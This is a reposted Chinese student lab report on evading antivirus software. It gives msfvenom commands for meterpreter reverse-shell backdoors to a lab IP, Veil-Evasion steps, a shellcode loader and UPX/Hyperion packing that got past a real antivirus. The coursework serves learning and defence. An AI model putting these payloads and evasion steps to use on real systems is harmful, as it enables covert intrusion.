2018-2019 20165208 网络对抗 Exp3 免杀原理与实践

目录

  • 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践
    • 实验内容
    • 基础问题回答
    • 实践过程记录
      • 任务一：正确使用免杀工具或技巧
      • 任务二：通过组合应用各种技术实现恶意代码免杀
      • 任务三：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
    • 开启杀软能绝对防止电脑中恶意代码吗？
    • 实验中遇到的问题及解决方法
    • 实验总结与体会

2018-2019 20165208 网络对抗 Exp3 免杀原理与实践

实验内容

  • 正确使用msf编码器（0.5分），msfvenom生成如jar之类的其他文件（0.5分），veil-evasion（0.5分），加壳工具（0.5分），使用shellcode编程（1分）

  • 通过组合应用各种技术实现恶意代码免杀(0.5分)（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。）

  • 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本（加分0.5）

基础问题回答

1. 杀软是如何检测出恶意代码的？

  • 通过特征码：通过检索文件中是否包含恶意代码MAL里有并且其他软件没有的特征码。
  • 启发式：通过片面特征去判断。（不保证精确性）
  • 基于行为：通过对恶意代码的观察研究，发现某些特定的行为可能是恶意代码的行为。杀软在监视程序运行的过程中，如果发现了这些特殊行为，就会认为其是恶意软件。

2. 免杀是做什么？
通过一些特定的操作，使恶意代码不易被杀毒软件所发现。例如伪装，加密，对shellcode进行变形，利用veil进行重写重编译。

3. 免杀的基本方法有哪些？

  • 改变特征码
    • 只有EXE的情况下：加壳（压缩壳、加密壳）
    • 有shellcode的情况下：用encode进行编码，基于payload重新编译生成可执行文件。
    • 有源代码：用其他语言进行重写再编译。
  • 改变行为
    • 通讯方式：尽量使用反弹式连接、使用隧道技术、加密通讯数据。
    • 操作模式：基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
  • 非常规行为
    • 使用一个有漏洞的应用作为后门，编写攻击代码集成到如MSF中
    • 使用社工类攻击，诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

实践过程记录

任务一：正确使用免杀工具或技巧

1、 使用msf编码器，msfvenom生成如jar之类的其他文件。

msf编码器

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然，所有AV厂家都盯着呢，一有新编码算法，马上就得加到特征库里呀。
编码后呢，按理论上讲，编码会降低检出率，大不了多编码几次，总会检不出来。

  • 编码一次命令如下（用-e参数编码）：
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > met-encoded.exe
    image

  • 放去virscan扫描，28款杀软检测出了病毒。(注：由于学号涉及virscan的屏蔽词，所以检测文件名部分进行了更改)
    image

  • 编码十次命令如下（用-i参数指定编码次数）：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.128 LPORT=5208 -f exe > 20165208_back2.exe
    image

  • 再放去扫描，27款杀软检测出了病毒，效果不大
    image

jar文件
  • 生成.jar文件夹
    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor_java.jar
    image
  • 六款软件检测出了病毒，优秀！
    image
php文件
  • msfvenom生成php文件：
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.235.128 lport=5208 x> 20165208_backdoor.php
    image
  • 生成php文件后，只有一款软件查出了问题！出乎意料！
    image

2、使用veil-evasion

由于安装一直出现问题，在尝试几次无解后拷贝了同学的虚拟机。。。

  • 在终端中使用veil命令进入应用 > 输入use evasion进入veil-evasion
    image
    image

  • 然后设置回连IP（此处IP是kali）和端口，输入generate生成文件，接着输入你想要payload的名字：veil_c_5208
    输入use c/meterpreter/rev_tcp.py
    image

  • 设置反弹连接IP，命令为：set LHOST 192.168.235.128，注意此处的IP是KaliIP；

  • 设置端口，命令为：set LPORT 5208
    image

  • 输入generate生成文件，接着输入你想要playload的名字：veil_c_5208
    image
    image

  • 放去扫描，15款杀软检测出了病毒
    image

3、 半手工注入Shellcode并执行

  • 首先使用命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=5208 -f c用c语言生成一段shellcode;
    image
  • 创建一个文件20165208.c，然后将unsigned char buf[]赋值到其中，代码如
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main()
{int (*func)() = (int(*)())buf;func();
}

image

  • 使用命令：i686-w64-mingw32-g++ 20165208.c -o 20165208.exe编译这个.c文件为可执行文件;
    image
  • 检测结果如下图，有13款杀软发现了问题
    image
  • 移到windows上执行该程序时，被电脑的360卫士查杀。
    image

4、 应用加壳工具

加壳的全称应该是可执行程序资源压缩，压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码，在运行的时候优先取得程序的控制权，之后再把控制权交还给原始代码，这样做的目的是为了隐藏程序真正的OEP（入口点，防止被破解）。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析，以达到保护壳内原始程序以及软件不被外部程序破坏，保证原始程序正常运行。

这种技术也常用来保护软件版权，防止软件被破解。但对于病毒，加壳可以绕过一些杀毒软件的扫描，从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法，对shellcode进行再编码。

在技术上分壳分为：

  • 压缩壳(减少应用体积，如ASPack,UPX)
  • 加密壳(版权保护，反跟踪。如ASProtect,Armadillo)
  • 虚拟机(通过类似编译手段，将应用指令转换为自己设计的指令集。如VMProtect,Themida)
使用压缩壳（UPX）
  • 给之前的20165208.exe加个壳得到ky_upxed.exe：
    image
  • 扫描一下，16款软件发现了问题
    image
使用加密壳（Hyperion）
  • 进入目录 /usr/share/windows-binaries/hyperion/中;
  • 输入命令wine hyperion.exe -v ky.upxed.exe ky.upxed.Hyperion.exe进行加壳：
    image
  • 再去扫一遍，更多了。。。
    image

任务二：通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode，压缩壳，加密壳达到了免杀的目的
  • 任务截图如下：
    image
    image

任务三：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

注意：由于换了网络，IP地址会发生变化，shellcode一定要重新生成！！！

免杀方法：先用msfvenom生成shellcode，再使用压缩壳加壳。
实验环境：对方电脑为 win7主机，腾讯电脑管家13.0.19837.233
image

开启杀软能绝对防止电脑中恶意代码吗？

不能！！！！！你看实验中仅仅做到UNX加壳，49款软件中就只有1款发现了它。
但是在实验中我们注意到360杀毒这个流氓软件云上传这个功能也是相当狂拽酷炫了。。。起初我们的UPX加壳完全木得问题，但是我们没有关云计划。。。然后我们看到了这个。。。
image
然后第一次我们运行还是会被免杀的UNX文件，第二次就凉了。。。。

实验中遇到的问题及解决方法

1、实验中不止一次出现了虚拟机IP地址显示为127.0.0.1的情况，无法ping通也无法上网。
image
解决方法：实验最初出现了这个问题，考虑到可能是在做另一门实验对VMware虚拟机网络进行了设置，查了下网上的解决方法。
image

不过很遗憾没有成功，后来我又尝试了自己对桥接、NAT模式进行了设置，也没有效果。。。于是选择了还原默认设置，在进行重启。
image
第一次的问题解决了。
image
不过在我和同学的虚拟机打算相连时，又一次的出现了上述的问题。我按照之前的操作步骤来不好使了。后来是在将网络设置改成Nat模式重启，再转为桥接模式！！！！一定要注意这个时候不要重启！！！然后就可以了。心疼无数次重启无数次失败的自己。。。

实验总结与体会

本次实验通过利用一些工具实现了病毒的免杀，不得不说我在看到转换为php文件后就只有一款杀毒软件发现了它的时候我是震惊的！！！不过在我的主机上php文件没有找到可以打开的方式。除此之外在学习其他免杀方法时，我尝试了捆绑压缩并隐藏，虽然失败了，但是也是头一次发现了压缩包还可以有这么多设置，以后解压缩文件也不是很放心了。

听了这么多节课，也做了好多次实验，我发现对于计算机水平不错的人来说，编写个病毒真的是很容易了，而且我想象中的杀软也会有漏洞，感觉之前会觉得不容易碰到的木马病毒，其实不需要什么功夫就可以入侵你的电脑了。所以我们除了基础防范，一定要在官方渠道下载软件，即时更新杀软版本，病毒库的更新真的很主要。

转载于:https://www.cnblogs.com/KY-high/p/10630244.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/394468.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

k均值例子 数据挖掘_人工智能、数据挖掘、机器学习和深度学习的关系

k均值例子 数据挖掘_人工智能、数据挖掘、机器学习和深度学习的关系

一、人工智能人工智能是计算机科学的一个分支，它企图了解智能的实质，并生产出一种新的能以人类智能相似的方式做出反应的智能机器。实际应用比如：机器视觉，指纹识别，人脸识别，视网膜识别，虹膜识…
阅读更多...
hive中sql使用英文分号

hive中sql使用英文分号

hql只要遇见分号则认识是语句的EOF，所以对于分号，需要用“\“转义。 例如： insert overwrite table test_json_map select {"accountid":"1_:\;11"}, t.map_col from t where dt 2017-08-08 limit 1; 或者用”\073&qu…
阅读更多...
软件系统换服务器地址,天正软件客户端修改服务器地址

软件系统换服务器地址,天正软件客户端修改服务器地址

天正软件客户端修改服务器地址 内容精选换一换如果IP经过NAT/WAF，则只能获取到NAT/WAF转化后的IP地址，无法获取到NAT/WAF前的IP地址。如果客户端为容器，只能获取到容器所在主机的IP地址，无法获取容器的IP。四层监听器(TCP/UDP)开启…
阅读更多...
orcale可视化建立用户_建立动态可视化的新方法

orcale可视化建立用户_建立动态可视化的新方法

orcale可视化建立用户by Sushrut Shivaswamy通过Sushrut Shivaswamy 建立动态可视化的新方法 (A new way of building dynamic visualisations) The Flux architecture gained popularity after Facebook adopted it. It’s a way of managing the state of React components …
阅读更多...
leetcode剑指 Offer 47. 礼物的最大价值（动态规划）

leetcode剑指 Offer 47. 礼物的最大价值（动态规划）

在一个 m*n 的棋盘的每一格都放有一个礼物，每个礼物都有一定的价值（价值大于 0）。你可以从棋盘的左上角开始拿格子里的礼物，并每次向右或者向下移动一格、直到到达棋盘的右下角。给定一个棋盘及其上面的礼物的价值，请计…
阅读更多...
atoi()函数

atoi()函数

原型&#xff1a;int atoi &#xff08;const char *nptr&#xff09; 用法&#xff1a;#include <stdlib.h> 功能&#xff1a;将字符串转换成整型数&#xff1b;atoi()会扫描参数nptr字符串&#xff0c;跳过前面的空格字符&#xff0c;直到遇上数字或正负号才开始做…
阅读更多...
python socket.error: [Errno 24] Too many open files

python socket.error: [Errno 24] Too many open files

以openwrt AR9331开发板为例&#xff0c;socket连接到1019个就报错 “python socket.error: [Errno 24] Too many open files” 1.查看开发板socket默认连接个数rootTijio:~# ulimit -m1024 2.修改socket连接个数&#xff0c;以root用户运行以下命令rootTijio:~# ulimit -HSn 1…
阅读更多...
选中下拉列表显示全部数据_小白都能学会的多级下拉列表，让你的Excel效率提升百倍...

选中下拉列表显示全部数据_小白都能学会的多级下拉列表，让你的Excel效率提升百倍...

私信回复关键词【工具】&#xff0c;获取Excel高效小工具合集&#xff01;让你的Excel效率开挂~你有没有遇到过这样的场景&#xff1f;收集上来的各部门工作进度表&#xff0c;里面的答案五花八门。即使在表头上进行提示规范&#xff0c;手动输入也十分低效。有没有什么办法能够…
阅读更多...
你不知道的javascript（上卷）----读书笔记

你不知道的javascript（上卷）----读书笔记

<!DOCTYPE html> <html><head><meta charset"utf-8"><title>你不知道的javascript&#xff08;上卷&#xff09;</title> </head><body><script type"text/javascript">/*//9、this 的全面解析this…
阅读更多...
lightgbm 数据不平衡_不平衡数据下的机器学习（下）

lightgbm 数据不平衡_不平衡数据下的机器学习（下）

本文从不平衡学习的基础概念和问题定义出发&#xff0c;介绍了几类常见的不平衡学习算法和部分研究成果。总体来说&#xff0c;不平衡学习是一个很广阔的研究领域&#xff0c;但受笔者能力和篇幅的限制&#xff0c;本文仅对其中部分内容做了简单概述&#xff0c;有兴趣深入学习…
阅读更多...
netty实现高性能文件服务器,通用文件服务组件（Netty实现版本）

netty实现高性能文件服务器,通用文件服务组件（Netty实现版本）

本文所述文件服务组件在笔者此前一篇文章中已有阐述(基于netty的文件上传下载组件)&#xff0c;不过本文将基于之前这个实现再次进行升级改造&#xff0c;利用基于注解的方式进行自动装配。1. 简介1.1 Netty简介Netty是一个异步事件驱动的网络应用程序框架&#xff0c;用于快速…
阅读更多...
leetcode343. 整数拆分（动态规划）

leetcode343. 整数拆分（动态规划）

给定一个正整数 n&#xff0c;将其拆分为至少两个正整数的和&#xff0c;并使这些整数的乘积最大化。 返回你可以获得的最大乘积。 示例 1: 输入: 2 输出: 1 解释: 2 1 1, 1 1 1。 解题思路 组成整数两个数可以进一步拆分&#xff0c;所以可以运用到动态规划&#xff0c…
阅读更多...
爱前端2018全栈大前端_启动2018年前端工具调查

爱前端2018全栈大前端_启动2018年前端工具调查

爱前端2018全栈大前端by Ashley Watson-Nolan通过阿什利沃森-诺兰 启动2018年前端工具调查 (Launching the Front-End Tooling Survey 2018) The Front-End Tooling Survey is back to gather input and shed some light on the tooling habits across the web development in…
阅读更多...
PHP 小数点保留两位【转】

PHP 小数点保留两位【转】

最近在做统计这一块内容&#xff0c;接触关于数字的数据比较多&#xff0c; 用到了三个函数来是 数字保留小数后 N 位&#xff1b; 接下来简单的介绍一下三个函数&#xff1a; 1、number_format echo number_format("5000000")."<br>"; echo number_…
阅读更多...
华为杯数学建模2020获奖名单_我校在2020年全国大学生数学建模竞赛中再获佳绩（内附获奖名单）...

华为杯数学建模2020获奖名单_我校在2020年全国大学生数学建模竞赛中再获佳绩（内附获奖名单）...

# 近日&#xff0c;从全国大学生数学建模竞赛组委会获悉&#xff0c;我校在2020年全国大学生数学建模竞赛中获得5项国家二等奖。国家奖获奖数量在全国农林院校中并列排名第二。在黑龙江省高校中位居第三名。1你的喜悦&#xff0c;我们的欣慰# 2020年全国大学生数学建模竞赛于9月…
阅读更多...
Python 面试总结

Python 面试总结

公司面试&#xff1a; 1&#xff0c;说说项目都用到了什么技术&#xff1f; 2&#xff0c;mysql索引的种类&#xff1f; 3&#xff0c;索引建多有什么不好&#xff1f; 4&#xff0c;mysql的引擎有什么&#xff1f; 5&#xff0c;redis是单线程还是多线程的? 6, redis的持久化…
阅读更多...
医疗器械监管系统总结

医疗器械监管系统总结

算算时间毕业也两个多月了&#xff0c;心也慢慢塌下来了&#xff0c;少了些许的浮躁&#xff0c;增加了些许的淡定&#xff0c;同时也添加了一些不好的习气&#xff0c;“混”&#xff0c;混日子的混&#xff0c;生活慢慢的缺少了激情&#xff0c;伴随着和她渐渐的疏远。昨天听…
阅读更多...
fn映射 mac 键盘_【新鲜评测】高颜值、低延迟、多模式跨平台办公神器-米物蓝牙键盘...

fn映射 mac 键盘_【新鲜评测】高颜值、低延迟、多模式跨平台办公神器-米物蓝牙键盘...

首先&#xff0c;要例行感谢糖纸众测&#xff0c;感谢麻麻酱给我这次评测机会。大家可以微信搜索【糖纸】小程序免费体验更多科技产品。小米旗下生态链公司米物最近出了一款蓝牙双模键盘&#xff0c;它作为一个85全键键盘&#xff0c;可以完成蓝牙和USB转换&#xff0c;以及PC和…
阅读更多...
leetcode413. 等差数列划分（动态规划）

leetcode413. 等差数列划分（动态规划）

数组 A 包含 N 个数&#xff0c;且索引从0开始。数组 A 的一个子数组划分为数组 (P, Q)&#xff0c;P 与 Q 是整数且满足 0<P<Q<N 。 如果满足以下条件&#xff0c;则称子数组(P, Q)为等差数组&#xff1a; 元素 A[P], A[p 1], …, A[Q - 1], A[Q] 是等差的。并且 …
阅读更多...
（转发）python3用matplotlib绘图出现中文乱码的问题

（转发）python3用matplotlib绘图出现中文乱码的问题

from pandas import Series,DataFrame import matplotlib.pyplot as plt from pylab import mpl mpl.rcParams[font.sans-serif] [SimHei] 字体的选择如下&#xff1a; 黑体 SimHei微软雅黑 Microsoft YaHei微软正黑体 Microsoft JhengHei新宋体 NSimSun新细明体 PMingLiU细明…
阅读更多...
最新文章

Copyright @ 2022~2023